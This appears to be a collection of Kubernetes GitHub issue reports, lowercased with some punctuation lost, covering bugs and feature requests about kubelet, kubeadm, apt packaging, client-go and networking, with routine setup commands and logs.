run the repro steps in https://github.com/kubernetes/kubernetes/issues/32323 while some pods might get deleted, you probably won't be able to get at the logs of the remaining pods, even though it wasn't put on another node or given another ip  according to kubectl at least .  you will end up with:       $ kubectl get po --show-all -o wide name                 ready     status      restarts   age       ip           node echo-success-83k2b   0/1       completed   0          43m       10.244.1.4   kubernetes-minion-group-a9np  $ kubectl logs echo-success-83k2b error response from daemon: no such container: 35935b7065a03f7ac60edf203c1cdc19aaec6696ddbb1036aebf74509457a30      @kubernetes/sig-node though i get the feeling fixing this is out of scope for 1.4

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?   no\r \r \r   what keywords did you search in kubernetes issues before filing this one?   api json\r \r   what happened  :\r \r api unit tests print out hexidecimal output for some fields  i.e. fields that are pointers   when deepequals fails.\r \r   what you expected to happen  :\r \r api unit tests print out human readable failures.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r run api unit tests against certain pull requests which havent generated everything perfectly.\r \r   anything else do we need to know  :\r \r i guess this \ bug\  seems to only surface when you break the unit tests.. so not super easy to reproduce on a working distro.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : jessie, kubectl, apt-get, package\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : affects all\r \r \r   environment  :\r -   cloud provider or hardware configuration  : hardware, vm via vagrant\r -   os    e.g. from /etc/os-release : debian gnu/linux 8  jessie \r -   kernel    e.g.  uname -a  : linux jessie 3.16.0-4-amd64  1 smp debian 3.16.39-1  2016-12-30  x86_64 gnu/linux\r -   install tools  : apt-key and apt-get\r -   others  : apt-transport-https\r \r \r   what happened  : \r \r the apt-get repos for debian jessie add and fetch fine but no valid packages are found.\r \r at least for core components like kubelet and kubectl.\r \r  kops 's documentation says it uses a modified debian as it's default base image in aws. i understand there is extra work re: memory cgroups but these work with the xenial versions even. this problem is exclusively around being able to install only using the jessie apt-get repo.\r \r    \r root@jessie:/home/vagrant  cat <<eof > /etc/apt/sources.list.d/kubernetes.list\r > deb http://apt.kubernetes.io/ kubernetes-jessie main\r > eof\r root@jessie:/home/vagrant  apt-get clean\r root@jessie:/home/vagrant  rm -rf /var/lib/apt/lists/ \r root@jessie:/home/vagrant  apt-get clean\r root@jessie:/home/vagrant  apt-get update -y\r root@jessie:/home/vagrant  apt-get upgrade -y\r get:1 http://security.debian.org jessie/updates inrelease  63.1 kb \r ....\r get:9 http://apt.kubernetes.io kubernetes-jessie inrelease  3,700 b \r get:10 http://httpredir.debian.org jessie release.gpg  2,373 b                                   \r get:11 http://httpredir.debian.org jessie release  148 kb \r get:12 http://apt.kubernetes.io kubernetes-jessie/main amd64 packages  23 b \r get:13 http://httpredir.debian.org jessie/main sources  7,056 kb \r get:14 http://httpredir.debian.org jessie/main amd64 packages  6,776 kb \r ...\r calculating upgrade... done\r 0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.\r root@jessie:/home/vagrant  apt-get install -y kubelet kubeadm kubectl kubernetes-cni\r reading package lists... done\r building dependency tree       \r reading state information... done\r e: unable to locate package kubelet\r e: unable to locate package kubeadm\r e: unable to locate package kubectl\r e: unable to locate package kubernetes-cni\r    \r \r   what you expected to happen  :\r \r    \r ...\r setting up ethtool  1:3.16-1  ...\r setting up kubernetes-cni  0.3.0.1-07a8a2-00  ...\r setting up socat  1.7.2.4-2  ...\r setting up kubelet  1.5.2-00  ...\r setting up kubectl  1.5.2-00  ...\r setting up kubeadm  1.6.0-alpha.0-2074-a092d8e0f95f52-00  ...\r processing triggers for systemd  215-17+deb8u6  ...\r    \r \r   how to reproduce it    as minimally and precisely as possible :\r \r start a vagrant box using  debian/jessie64  and try to install kubernetes with:\r \r install pre-reqs:  apt-transport-https needed for k8s, software-prop-common needed for docker \r    \r apt-get install -y curl apt-transport-https software-properties-common\r curl -fssl https://yum.dockerproject.org/gpg | sudo apt-key add -\r sudo add-apt-repository \\\r    \ deb https://apt.dockerproject.org/repo/ \\\r    debian-$ lsb_release -cs  \\\r    main\ \r apt-get install -y docker-engine\r    \r \r add jessie repo:\r    \r curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -\r cat <<eof > /etc/apt/sources.list.d/kubernetes.list\r deb http://apt.kubernetes.io/ kubernetes-jessie main\r eof\r    \r \r see it fail:\r    \r apt-get install -y kubelet kubeadm kubectl kubernetes-cni\r    \r \r add xenial repo too\r    \r curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -\r cat <<eof > /etc/apt/sources.list.d/kubernetes.list\r deb http://apt.kubernetes.io/ kubernetes-xenial main\r eof\r    \r \r see it succeed using both  or at least xenial and falling back to jessie for dependencies :\r    \r apt-get install -y kubelet kubeadm kubectl kubernetes-cni\r    \r \r   anything else we need to know  :\r \r i'm not worried about kubeadm not being present, although that would be great. but shouldn't at least kubelet and kubectl be available?\r \r https://github.com/kubernetes/release/blob/master/debian/jessie/kubectl indicates that xenial is fine to use for kubectl, but kubectl also showed up in the failed to install list.\r \r \r here's the output of the last command given to demonstrate it succeeding using both:\r \r    \r root@jessie:/home/vagrant  cat <<eof > /etc/apt/sources.list.d/kubernetes.list\r > deb http://apt.kubernetes.io/ kubernetes-xenial main\r > eof\r root@jessie:/home/vagrant  apt-get clean\r root@jessie:/home/vagrant  rm -rf /var/lib/apt/lists/ \r root@jessie:/home/vagrant  apt-get clean\r root@jessie:/home/vagrant  apt-get update -y\r root@jessie:/home/vagrant  apt-get upgrade -y\r get:1 http://security.debian.org jessie/updates inrelease  63.1 kb \r ...\r get:9 http://apt.kubernetes.io kubernetes-xenial inrelease  6,299 b \r get:10 http://httpredir.debian.org jessie release.gpg  2,373 b \r get:11 http://apt.kubernetes.io kubernetes-xenial/main amd64 packages  1,739 b \r ...\r fetched 14.6 mb in 4s  3,393 kb/s                          \r reading package lists... done\r ...\r calculating upgrade... done\r 0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.\r root@jessie:/home/vagrant  apt-get install -y kubelet kubeadm kubectl kubernetes-cni\r reading package lists... done\r building dependency tree       \r reading state information... done\r the following extra packages will be installed:\r   ebtables ethtool socat\r the following new packages will be installed:\r   ebtables ethtool kubeadm kubectl kubelet kubernetes-cni socat\r 0 upgraded, 7 newly installed, 0 to remove and 0 not upgraded.\r need to get 37.7 mb of archives.\r after this operation, 261 mb of additional disk space will be used.\r get:1 http://httpredir.debian.org/debian/ jessie/main ebtables amd64 2.0.10.4-3  103 kb \r get:2 http://httpredir.debian.org/debian/ jessie/main ethtool amd64 1:3.16-1  94.9 kb                    \r get:3 http://httpredir.debian.org/debian/ jessie/main socat amd64 1.7.2.4-2  333 kb                      \r get:4 http://apt.kubernetes.io/ kubernetes-xenial/main kubernetes-cni amd64 0.3.0.1-07a8a2-00  6,868 kb \r get:5 http://apt.kubernetes.io/ kubernetes-xenial/main kubelet amd64 1.5.2-00  15.2 mb                \r get:6 http://apt.kubernetes.io/ kubernetes-xenial/main kubectl amd64 1.5.2-00  7,950 kb                                                                                                                            \r get:7 http://apt.kubernetes.io/ kubernetes-xenial/main kubeadm amd64 1.6.0-alpha.0-2074-a092d8e0f95f52-00  7,120 kb                                                                                                \r fetched 37.7 mb in 18s  2,077 kb/s                                                                                                                                                                                 \r selecting previously unselected package ebtables.\r  reading database ... 45564 files and directories currently installed. \r preparing to unpack .../ebtables_2.0.10.4-3_amd64.deb ...\r unpacking ebtables  2.0.10.4-3  ...\r selecting previously unselected package ethtool.\r preparing to unpack .../ethtool_1%3a3.16-1_amd64.deb ...\r unpacking ethtool  1:3.16-1  ...\r selecting previously unselected package kubernetes-cni.\r preparing to unpack .../kubernetes-cni_0.3.0.1-07a8a2-00_amd64.deb ...\r unpacking kubernetes-cni  0.3.0.1-07a8a2-00  ...\r selecting previously unselected package socat.\r preparing to unpack .../socat_1.7.2.4-2_amd64.deb ...\r unpacking socat  1.7.2.4-2  ...\r selecting previously unselected package kubelet.\r preparing to unpack .../kubelet_1.5.2-00_amd64.deb ...\r unpacking kubelet  1.5.2-00  ...\r selecting previously unselected package kubectl.\r preparing to unpack .../kubectl_1.5.2-00_amd64.deb ...\r unpacking kubectl  1.5.2-00  ...\r selecting previously unselected package kubeadm.\r preparing to unpack .../kubeadm_1.6.0-alpha.0-2074-a092d8e0f95f52-00_amd64.deb ...\r unpacking kubeadm  1.6.0-alpha.0-2074-a092d8e0f95f52-00  ...\r processing triggers for man-db  2.7.0.2-5  ...\r processing triggers for systemd  215-17+deb8u6  ...\r setting up ebtables  2.0.10.4-3  ...\r update-rc.d: warning: start and stop actions are no longer supported; falling back to defaults\r setting up ethtool  1:3.16-1  ...\r setting up kubernetes-cni  0.3.0.1-07a8a2-00  ...\r setting up socat  1.7.2.4-2  ...\r setting up kubelet  1.5.2-00  ...\r setting up kubectl  1.5.2-00  ...\r setting up kubeadm  1.6.0-alpha.0-2074-a092d8e0f95f52-00  ...\r processing triggers for systemd  215-17+deb8u6  ...\r    \r \r and at this point, aside from debian things like memory cgroup control being disabled by default,  i am able to fully proceed and create a cluster from here. i think that verifies enough that the system is capable, but that something is missing or out of date in the apt-get jessie repo?\r \r fwiw i believe jessie is using amd64 based on the apt-get output and https://packages.cloud.google.com/apt/dists/kubernetes-jessie/inrelease says it provides amd64. i don't know enough about apt-get to find out what packages are provided by that release and the relevant folders don't seem to load properly in my browser. sorry i can't provide more help! \r

is this a request for help?   : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?   : node status\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  : latest on master\r \r \r   environment  :\r -   cloud provider or hardware configuration  : bare-metal, 3 node config using kubeadm\r -   os    e.g. from /etc/os-release : centos 7\r -   kernel    e.g.  uname -a  : linux devstack-77 3.10.0-514.10.2.el7.x86_64  1 smp fri mar 3 00:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : kubeadm\r -   others  :\r \r \r   what happened  : scan of code shows that setnodeaddress   in pkg/kubelet/kubelet_node_status.go has logic that handles ipv4 case only.\r \r \r   what you expected to happen  : be able to support ipv6 as well.\r \r \r   how to reproduce it    as minimally and precisely as possible : not sure how to reproduce with running system. will create ut to exercise the ipv6 case.\r \r \r   anything else we need to know  : i will work on pushing up a change for this.\r \r

testgrid  https://k8s-testgrid.appspot.com/google-gke gci-gke \r \r  logs for one  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke/12443 sig-storage-volumes-sig-storage-nfs-should-be-mountable \r \r  

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r according to  flexvolume doc  https://github.com/kubernetes/community/blob/master/contributors/devel/flexvolume.md init , the  init  phase dose not accept any parameter.\r \r   what you expected to happen  :\r \r in many cases, we want to do initialization work  for example, create a nfs mounter with given server url  in this step based on given json options in volume spec. we hope to have a json option as parameter here.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r the resourceversion of delete event is not the current version, and may be a far early one. if using it to re-watch  here  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/client-go/tools/cache/reflector.go l394 , some events will be received repeatedly.\r \r in some case, kube-scheduler's cache can be \ updated\  to a former status and generate error:\r    \r  scheduler cache assumepod failed: pod xxx/xxx state wasn't initial but get assumed\r     \r or \r    \r operation cannot be fulfilled on pods/binding \ xxx\ : pod xxx is already assigned to node \ 10.10.10.10\ \r    \r   what you expected to happen  :\r \r a line similar\r    \r newresourceversion =  resourceversion\r    \r should be added after  l409  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/client-go/tools/cache/reflector.go l409

is this a bug report or feature request?  :\r  \r   what happened  :\r \r when  kubeadm-dind-cluster  https://github.com/mirantis/kubeadm-dind-cluster  is trying to run  kubeadm join  on a node, it fails with the following error:\r    \r  kubelet  downloading configuration for the kubelet from the \ kubelet-config-1.12\  configmap in the kube-system namespace\r configmaps \ kubelet-config-1.12\  is forbidden: user \ system:bootstrap:rs98sv\  cannot get configmaps in the namespace \ kube-system\r    \r \r   what you expected to happen  :\r  kubeadm join  works\r \r   how to reproduce it  as minimally and precisely as possible   :\r use  kubeadm-dind-cluster  https://github.com/mirantis/kubeadm-dind-cluster  or just kubeadm  unchecked, but likely will behave similarly  with current kubernetes master  tried with 420071d86e0e1b9ea06c9be31cfcd5489d7c29c7 for example \r \r   anything else we need to know?  :\r this happened because after  v1.12.0-alpha.0  tag was added, kubeadm decided to start using dynamic kubelet config:\r https://github.com/kubernetes/kubernetes/blob/b5cd7d81bdb4e7bf9298a618fce06afa70eebc83/cmd/kubeadm/app/constants/constants.go l299\r https://github.com/kubernetes/kubernetes/blob/head/cmd/kubeadm/app/phases/kubelet/config.go l64\r \r but apparently it's not working yet.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r v1.12.0-alpha.0.281+420071d86e0e1b-dirty  one of the checked versions \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r ubuntu 16.04.3, circleci environment\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r   what happened  :\r the pod cannot curl to the load balancer tied to it.\r \r   what you expected to happen  :\r it should connect and curl the load balancer ip address.\r \r   how to reproduce it  as minimally and precisely as possible   :\r  bash-4.4  curl \r curl: try 'curl --help' or 'curl --manual' for more information\r bash-4.4  curl 47.91.36.59 -v\r   rebuilt url to: 47.91.36.59/\r     trying 47.91.36.59...\r   tcp_nodelay set\r ^c\r bash-4.4  ping 47.91.36.59 -v\r ping 47.91.36.59  47.91.36.59 : 56 data bytes\r 64 bytes from 47.91.36.59: seq=0 ttl=100 time=0.305 ms\r 64 bytes from 47.91.36.59: seq=1 ttl=100 time=0.300 ms\r 64 bytes from 47.91.36.59: seq=2 ttl=100 time=0.296 ms\r 64 bytes from 47.91.36.59: seq=3 ttl=100 time=0.271 ms\r ^c\r --- 47.91.36.59 ping statistics ---\r 4 packets transmitted, 4 packets received, 0% packet loss\r round-trip min/avg/max = 0.271/0.293/0.305 ms\r bash-4.4   \r \r   anything else we need to know?  :\r no\r \r 

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r after upgrade of kubernetes 1.11.3 to 1.12.1 via kubeadm in bare-metal setup i see these errors in kubelet logs:\r \r > oct  8 12:27:50 node2 kubelet: e1008 12:27:50.766520   21094 azure_dd.go:147  failed to get azure cloud in getvolumelimits, plugin.host: node2.mydomain\r > oct  8 12:28:00 node2 kubelet: e1008 12:28:00.790762   21094 azure_dd.go:147  failed to get azure cloud in getvolumelimits, plugin.host: node2.mydomain\r > etc...\r \r   what you expected to happen  :\r since this is a bare-metal setup i expect no messages concerning azure cloud\r \r   how to reproduce it  as minimally and precisely as possible   :\r do an upgrade from 1.11.3 to 1.12.1\r \r   anything else we need to know?  :\r kubelet-1.12.1-2.x86_64.rpm was downloaded from https://packages.cloud.google.com/yum/repos/kubernetes-el7-x86_64\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.1\ , gitcommit:\ 4ed3216f3ec431b140b1d899130a69fc671678f4\ , gittreestate:\ clean\ , builddate:\ 2018-10-05t16:46:06z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.1\ , gitcommit:\ 4ed3216f3ec431b140b1d899130a69fc671678f4\ , gittreestate:\ clean\ , builddate:\ 2018-10-05t16:36:14z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r bare-metal\r - os  e.g. from /etc/os-release :\r oracle linux server 7.4\r - kernel  e.g.  uname -a  :\r 4.9.62\r - install tools:\r - others:\r

recent test results show it taking ~15m to run.  we should remove this from the regular test runs until it can be made faster.  @kubernetes/goog-testing @artfulcoder

filing random idea. the missing piece is hooking up dns, which can even be human driven. for an ingress like :      yaml apiversion: extensions/v1beta1 kind: ingress metadata:   name: echomap spec:   tls:   - host: foo.bar.com     port: 443     tlssecret:       name: foosecret   rules:  ... irrelevant...     - run letsencrypt client - get a challenge like provision  .well-known/acme-challenge/  at foo.bar.com:80  https://letsencrypt.github.io/acme-spec/  - create the l7 for 1.2.3.4, program dns for foo.bar.com->1.2.3.4, point urlmap of  foo.bar.com:80/.well-known/acme-challenge  to localhost backend serving file with expected contents - delete challenge url from urlmap, hook up https backend according to ingress rules - keep renewing cert

i tried following the official docker based local cluster setup guide  here  http://kubernetes.io/docs/getting-started-guides/docker/ prerequisites  on osx and it fails to work in the case of v1.2.  there are several issues. enumerating a few of them. -  x  api server is not accessible from outside of the docker vm host.  -     image garbage collection fails -     problem with nsinit -  19069 might solve this. -     volumes cleanup -  22911 -     master node setup is racy -  23197  some of the issues above are common to other linux based platforms too. this issue will serve as an umbrella issue for getting hyperkube functional soon.

we used to generate our swagger spec with \ type\ :\ any\  for any type that wasnt supported in swagger  for ex: maps .  it was later pointed out that \ type\ :\ object\  is the correct representation: https://github.com/kubernetes/kubernetes/issues/4700 issuecomment-194719759.  we have now moved to using \ type\ :\ object\  in our swagger spec  which will be part of release 1.3 , but for kubectl to work with old apiservers, we allow both \ type\ :\ object\  and \ type\ :\ any\  in kubectl validation code  https://github.com/kubernetes/kubernetes/pull/24054 . we cherrypicked that in release 1.2  so that 1.2 kubectl can work with 1.3 apiserver .  we can stop supporting \ type\ :\ any\  in release 1.4  1.4 kubectl will not be able to work with 1.2 apiserver, which is fine since we support version skew of only 1 .  filing this issue to keep track.  cc @bgrant0607 @kubernetes/sig-api-machinery

yet another potential solution for the image pulling flake observed in https://github.com/kubernetes/kubernetes/issues/25277, https://github.com/kubernetes/kubernetes/issues/20550  quoting email thread:  > i just found that this exists: https://github.com/kubernetes/kubernetes/tree/master/cluster/addons/registry > it looks untested and i doubt it functions well, but we can start with it. > we should run a local private registry in clusters. > we should build a set of test images from the pr under test and push them to that registry. > i think this is the way we should fix this for real.  other ideas include: https://github.com/kubernetes/kubernetes/issues/26322, flipping nodes to schedulable only once they've pulled the entire image list, and running a daemon set with the list of \ images\  as a list of \ containers\   this has the advantage of working with all supported image distribution mechanisms .   we're currently doing a quick and dirty static pod image puller.   @kubernetes/sig-node @lavalamp

is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  : head\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  : kubeadm:\r \r how to reproduce on ubuntu for example:\r \r    \r curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -\r cat <<eof > /etc/apt/sources.list.d/kubernetes.list\r deb http://apt.kubernetes.io/ kubernetes-xenial-unstable main\r eof\r apt-get update && apt-get install -y docker.io kubeadm\r kubeadm init --kubernetes-version v1.6.0-beta.4\r    \r \r   what happened  :\r \r when something in a static pod changes that requires the pod infra container to restart, like this command:\r    \r sed -e \ s|spec:|spec:\   dnspolicy: clusterfirstwithhostnet|\  -i /etc/kubernetes/manifests/kube-apiserver.yaml\r    \r \r    \r mar 20 17:40:49 rook-test kubelet-patched 26734 : e0320 17:40:49.577643   26734 kuberuntime_gc.go:138  failed to stop sandbox \ 640d0649f8ad383a2438cd17ee6f8b5b2a847462461e5e59987537778d604220\  before removing: rpc error: code = 2 desc = networkplugin cni failed to teardown pod \ kube-apiserver-rook-test_kube-system\  network: cni config uninitialized\r mar 20 17:40:49 rook-test kubelet-patched 26734 : e0320 17:40:49.580730   26734 remote_runtime.go:109  stoppodsandbox \ 6c70b0c81f7c751b0abad687ca35a140b9c834c56d01a56b99020eaa2673e206\  from runtime service failed: rpc error: code = 2 desc = networkplugin cni failed to teardown pod \ self-hosted-kube-apiserver-pdnfc_kube-system\  network: cni config uninitialized\r mar 20 17:40:49 rook-test kubelet-patched 26734 : e0320 17:40:49.580745   26734 kuberuntime_gc.go:138  failed to stop sandbox \ 6c70b0c81f7c751b0abad687ca35a140b9c834c56d01a56b99020eaa2673e206\  before removing: rpc error: code = 2 desc = networkplugin cni failed to teardown pod \ self-hosted-kube-apiserver-pdnfc_kube-system\  network: cni config uninitialized\r mar 20 17:40:49 rook-test kubelet-patched 26734 : e0320 17:40:49.596422   26734 remote_runtime.go:109  stoppodsandbox \ a4a478447bea9939cc538db24737c47e50ebfcb80188c570e392e7c6e5b42d14\  from runtime service failed: rpc error: code = 2 desc = networkplugin cni failed to teardown pod \ kube-apiserver-rook-test_kube-system\  network: cni config uninitialized\r mar 20 17:40:49 rook-test kubelet-patched 26734 : e0320 17:40:49.596443   26734 kuberuntime_gc.go:138  failed to stop sandbox \ a4a478447bea9939cc538db24737c47e50ebfcb80188c570e392e7c6e5b42d14\  before removing: rpc error: code = 2 desc = networkplugin cni failed to teardown pod \ kube-apiserver-rook-test_kube-system\  network: cni config uninitialized\r mar 20 17:40:49 rook-test kubelet-patched 26734 : e0320 17:40:49.597515   26734 remote_runtime.go:109  stoppodsandbox \ a8c81b8a3de45c5ee4dabcc7d2dcde6a85d5df896f51d83f483705140f576729\  from runtime service failed: rpc error: code = 2 desc = networkplugin cni failed to teardown pod \ self-hosted-kube-apiserver-pwv8x_kube-system\  network: cni config uninitialized\r mar 20 17:40:49 rook-test kubelet-patched 26734 : e0320 17:40:49.597535   26734 kuberuntime_gc.go:138  failed to stop sandbox \ a8c81b8a3de45c5ee4dabcc7d2dcde6a85d5df896f51d83f483705140f576729\  before removing: rpc error: code = 2 desc = networkplugin cni failed to teardown pod \ self-hosted-kube-apiserver-pwv8x_kube-system\  network: cni config uninitialized\r mar 20 17:40:49 rook-test kubelet-patched 26734 : e0320 17:40:49.624209   26734 remote_runtime.go:109  stoppodsandbox \ df9d016b47220b5d56bce5d71f8e607be0f0fee73d95a83f14247b0fddc1221f\  from runtime service failed: rpc error: code = 2 desc = networkplugin cni failed to teardown pod \ self-hosted-kube-apiserver-vqvrq_kube-system\  network: cni config uninitialized\r mar 20 17:40:49 rook-test kubelet-patched 26734 : e0320 17:40:49.624239   26734 kuberuntime_gc.go:138  failed to stop sandbox \ df9d016b47220b5d56bce5d71f8e607be0f0fee73d95a83f14247b0fddc1221f\  before removing: rpc error: code = 2 desc = networkplugin cni failed to teardown pod \ self-hosted-kube-apiserver-vqvrq_kube-system\  network: cni config uninitialized\r mar 20 17:40:49 rook-test kubelet-patched 26734 : e0320 17:40:49.626239   26734 remote_runtime.go:109  stoppodsandbox \ e6be13d131e76024bb6633f113f44215e9ed375af332233b0fcdc02ec8a0da38\  from runtime service failed: rpc error: code = 2 desc = networkplugin cni failed to teardown pod \ self-hosted-kube-apiserver-k3vj8_kube-system\  network: cni config uninitialized\r mar 20 17:40:49 rook-test kubelet-patched 26734 : e0320 17:40:49.626271   26734 kuberuntime_gc.go:138  failed to stop sandbox \ e6be13d131e76024bb6633f113f44215e9ed375af332233b0fcdc02ec8a0da38\  before removing: rpc error: code = 2 desc = networkplugin cni failed to teardown pod \ self-hosted-kube-apiserver-k3vj8_kube-system\  network: cni config uninitialized\r mar 20 17:40:49 rook-test kubelet-patched 26734 : e0320 17:40:49.627350   26734 remote_runtime.go:109  stoppodsandbox \ edc38912ecb02b7d06607d95f45a7158123a62c61c32ae1de2135c5c45646f22\  from runtime service failed: rpc error: code = 2 desc = networkplugin cni failed to teardown pod \ self-hosted-kube-apiserver-hq9gg_kube-system\  network: cni config uninitialized\r mar 20 17:40:49 rook-test kubelet-patched 26734 : e0320 17:40:49.627367   26734 kuberuntime_gc.go:138  failed to stop sandbox \ edc38912ecb02b7d06607d95f45a7158123a62c61c32ae1de2135c5c45646f22\  before removing: rpc error: code = 2 desc = networkplugin cni failed to teardown pod \ self-hosted-kube-apiserver-hq9gg_kube-system\  network: cni config uninitialized\r mar 20 17:40:49 rook-test kubelet-patched 26734 : e0320 17:40:49.631330   26734 remote_runtime.go:109  stoppodsandbox \ f6a61129c8231043080728d7c13dcb32860c52d9b0ac2926f549614120170934\  from runtime service failed: rpc error: code = 2 desc = networkplugin cni failed to teardown pod \ kube-apiserver-rook-test_kube-system\  network: cni config uninitialized\r mar 20 17:40:49 rook-test kubelet-patched 26734 : e0320 17:40:49.631341   26734 kuberuntime_gc.go:138  failed to stop sandbox \ f6a61129c8231043080728d7c13dcb32860c52d9b0ac2926f549614120170934\  before removing: rpc error: code = 2 desc = networkplugin cni failed to teardown pod \ kube-apiserver-rook-test_kube-system\  network: cni config uninitialized\r    \r \r   what you expected to happen  :\r \r i expected the apiserver pod to restart as usual  it works when disabling cri \r \r   how to reproduce it    as minimally and precisely as possible :\r \r described above\r \r i think the change here will be pretty minimal, see: https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/dockershim/docker_sandbox.go l119\r \r the problem is probably here somewhere: https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/dockershim/docker_sandbox.go l181\r \r this is pretty serious, i would maybe consider it blocking for the v1.6 release.\r cc @kubernetes/release-team \r \r @kubernetes/sig-network-misc @kubernetes/sig-node-bugs @yujuhong

spin-off of  47899.\r \r during our performance tests we run into issue when fluentds were crashlooping on all nodes  oom caused by too many log lines from components . while this is important event and it should be reflected in status and/or event it shouldn't overload api server. we need to understand how many api requests are sent from the node in case of such oom, and figure out what to do to reduce this number.\r \r @derekwaynecarr made the issue with sending events a lot better, but that's not enough.\r \r @kubernetes/sig-node-feature-requests @kubernetes/sig-scalability-feature-requests

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r > kind bug\r >  \r \r   what happened  :\r i was attempting to filter pods with a  fieldselector  using client-go selecting by its  podip . i tried multiple variations until i ended up with  \ status.podip=<pod-ip>\  .\r when filtering by  status.podip=172.17.0.4 , list of pod s  came back empty even if pod with the ip we are filtering by was running. then i tried reproducing it by calling the kubernetes api directly which had the same result, list of pods  items  came back empty:\r \r    \r $ curl http://localhost:8001/api/v1/namespaces/default/pods\\?fieldselector\\=status.podip\\=172.17.0.4\r {\r   \ kind\ : \ podlist\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r     \ selflink\ : \ /api/v1/namespaces/default/pods\ ,\r     \ resourceversion\ : \ 21678\ \r   },\r   \ items\ :   \r }%\r    \r \r   what you expected to happen  :\r when passing the ip of the previously retrieved running pod, i expected to get that pod returned in the result.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - create a simple  pod  https://gist.github.com/lilic/7f28482341e07fbf78673db2406db002 , \r - get its ip  for example using  kubectl describe pods \r -  kubectl proxy \r - query kubernetes: \r  curl http://localhost:8001/api/v1/namespaces/default/pods\\?fieldselector\\=status.podip\\=<pod_ip>  \r \r   anything else we need to know?  :\r if i leave out the pod ip, i get all the pods back. i also tried using different formats when doing the curl, not one of them return anything. also it seems like  status.podip  field is  supported  https://github.com/kubernetes/kubernetes/issues/24657 issuecomment-282797258 .\r as a side note i retrieved the url which i used from debugging which calls client-go made.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.1\ , gitcommit:\ 1dc5c66f5dd61da08412a74221ecc79208c2165b\ , gittreestate:\ clean\ , builddate:\ 2017-07-14t05:21:21z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-30t10:17:58z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  : minikube version: v0.20.0\r - os  e.g. from /etc/os-release :\r minikube os\r    \r name=buildroot\r version=2017.02\r id=buildroot\r version_id=2017.02\r pretty_name=\ buildroot 2017.02\ \r    \r - kernel  e.g.  uname -a  :\r minikube kernel:\r  linux minikube 4.9.13  1 smp fri jun 16 20:55:02 utc 2017 x86_64 gnu/linux \r - install tools: minikube\r - others:\r

